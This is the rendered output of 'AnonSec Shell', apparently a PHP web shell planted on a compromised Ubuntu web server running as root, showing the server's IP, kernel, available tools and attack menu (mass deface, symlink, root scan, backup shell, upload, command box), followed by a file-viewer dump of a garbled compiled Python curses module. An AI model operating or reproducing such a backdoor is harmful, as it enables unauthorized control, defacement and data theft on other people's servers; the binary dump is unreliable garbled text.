AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.10/curses/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3.10/curses/__pycache__/textpad.cpython-310.pyc
o

}�5h��@sZdZddlZddlZdd�ZGdd�d�Zedkr+dd	�Ze�e�Ze	d
e
e��dSdS)z:Simple textbox editing widget with Emacs-like keybindings.�NcCs�|�|d|tj||d�|�||dtj||d�|�||dtj||d�|�|d|tj||d�|�||tj�|�||tj�|�||tj�|�||tj	�dS)z^Draw a rectangle with corners at the provided upper-left
    and lower-right coordinates.
    �N)
�vline�curses�	ACS_VLINE�hline�	ACS_HLINE�addch�ACS_ULCORNER�ACS_URCORNER�ACS_LRCORNER�ACS_LLCORNER)�win�uly�ulx�lry�lrx�r�%/usr/lib/python3.10/curses/textpad.py�	rectanglesrc@sLeZdZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	ddd�Z
dS)�TextboxadEditing widget using the interior of a window object.
     Supports the following Emacs-like key bindings:

    Ctrl-A      Go to left edge of window.
    Ctrl-B      Cursor left, wrapping to previous line if appropriate.
    Ctrl-D      Delete character under cursor.
    Ctrl-E      Go to right edge (stripspaces off) or end of line (stripspaces on).
    Ctrl-F      Cursor right, wrapping to next line when appropriate.
    Ctrl-G      Terminate, returning the window contents.
    Ctrl-H      Delete character backward.
    Ctrl-J      Terminate if the window is 1 line, otherwise insert newline.
    Ctrl-K      If line is blank, delete it, otherwise clear to end of line.
    Ctrl-L      Refresh screen.
    Ctrl-N      Cursor down; move down one line.
    Ctrl-O      Insert a blank line at cursor location.
    Ctrl-P      Cursor up; move up one line.

    Move operations do nothing if the cursor is at an edge where the movement
    is not possible.  The following synonyms are supported where possible:

    KEY_LEFT = Ctrl-B, KEY_RIGHT = Ctrl-F, KEY_UP = Ctrl-P, KEY_DOWN = Ctrl-N
    KEY_BACKSPACE = Ctrl-h
    FcCs.||_||_|��d|_d|_|�d�dS�Nr)r
�insert_mode�_update_max_yx�stripspaces�lastcmd�keypad)�selfr
rrrr�__init__+szTextbox.__init__cCs&|j��\}}|d|_|d|_dSr)r
�getmaxyx�maxy�maxx)rrr rrrr3s
zTextbox._update_max_yxcCs\|��|j}	tj�|j�||��tjjkr"t|j|d�}	|S|dkr)	|S|d}q)zuGo to the location of the first blank on the given line,
        returning the index of the last non-blank character.Trr)rr r�asciir
�inch�SP�min)r�y�lastrrr�_end_of_line8s���zTextbox._end_of_linecCs�|��|j��\}}d}||jks||jkrW|jr|j��}z|j�|�Wn
tj	y1Ynw|jr;tj
�|�s<n|}|j��\}}|durM||f}||jks||jks|durc|jj|�dSdS�N)
rr
�getyxrr rr"rr�errorr!�isprint�move)r�chr%�x�backyx�oldchrrr�_insert_printable_charFs*
���zTextbox._insert_printable_charcCsP|��|j��\}}||_tj�|�r%||jks||jkr#|�	|�dS|tjj
kr4|j�|d�dS|tjjtj
tjjtjfvr�|dkrP|j�||d�n!|dkrUn|jrg|j�|d|�|d��n
|j�|d|j�|tjjtjfvr|j��dS|tjjkr�|j��dS|tjjkr�|jr�|j�||�|��dS|j�||j�dS|tjjtjfvr�||jkr�|j�||d�dS||jkr�	dS|j�|dd�dS|tjjkr�dS|tjjkr�|jdkr�dS||jkr�|j�|dd�dS|tjjk�r'|dk�r|�|�dk�r|j��dS|j�||�|j��dS|tjjk�r5|j��dS|tjjtjfv�rh||jk�rf|j�|d|�||�|d�k�rf|j�|d|�|d��dS|tjj k�rv|j�!�dS|tjj"tj#fv�r�|dk�r�|j�|d|�||�|d�k�r�|j�|d|�|d��dS)z!Process a single editing command.rr)$rr
r)rrr!r+rr r1�SOHr,�STX�KEY_LEFT�BS�
KEY_BACKSPACErr'�delch�EOT�ENQ�ACK�	KEY_RIGHT�BEL�NL�VT�deleteln�clrtoeol�FF�refresh�SO�KEY_DOWN�SI�insertln�DLE�KEY_UP)rr-r%r.rrr�
do_command_s�
8�6�
+�
)�&�$�
!
���

�
�
�

��
�
zTextbox.do_commandc
Cs�d}|��t|jd�D]A}|j�|d�|�|�}|dkr#|jr#q
t|jd�D]}|jr5||kr5n|tt	j
�
|j�||���}q*|jdkrN|d}q
|S)z.Collect and return the contents of the window.�rr�
)r�rangerr
r,r'rr �chrrr!r")r�resultr%�stopr.rrr�gather�s
 
�zTextbox.gatherNcCs>	|j��}|r||�}|sq|�|�s	|��S|j��q)z2Edit in the widget window and collect the results.)r
�getchrIrBrP)r�validater-rrr�edit�s


��zTextbox.edit)Fr()�__name__�
__module__�__qualname__�__doc__rrr'r1rIrPrSrrrrrs
Ar�__main__cCsfd\}}d\}}|�|d|d�t�||||�}t||d|d||||�|��t|���S)N)�	�)���zUse Ctrl-G to end editing.r)�addstrr�newwinrrBrrS)�stdscr�ncols�nlinesrrr
rrr�test_editbox�s rczContents of text box:)rWr�curses.asciirrrTrc�wrapper�str�print�reprrrrr�<module>s
,
	�

Anon7 - 2022
AnonSec Team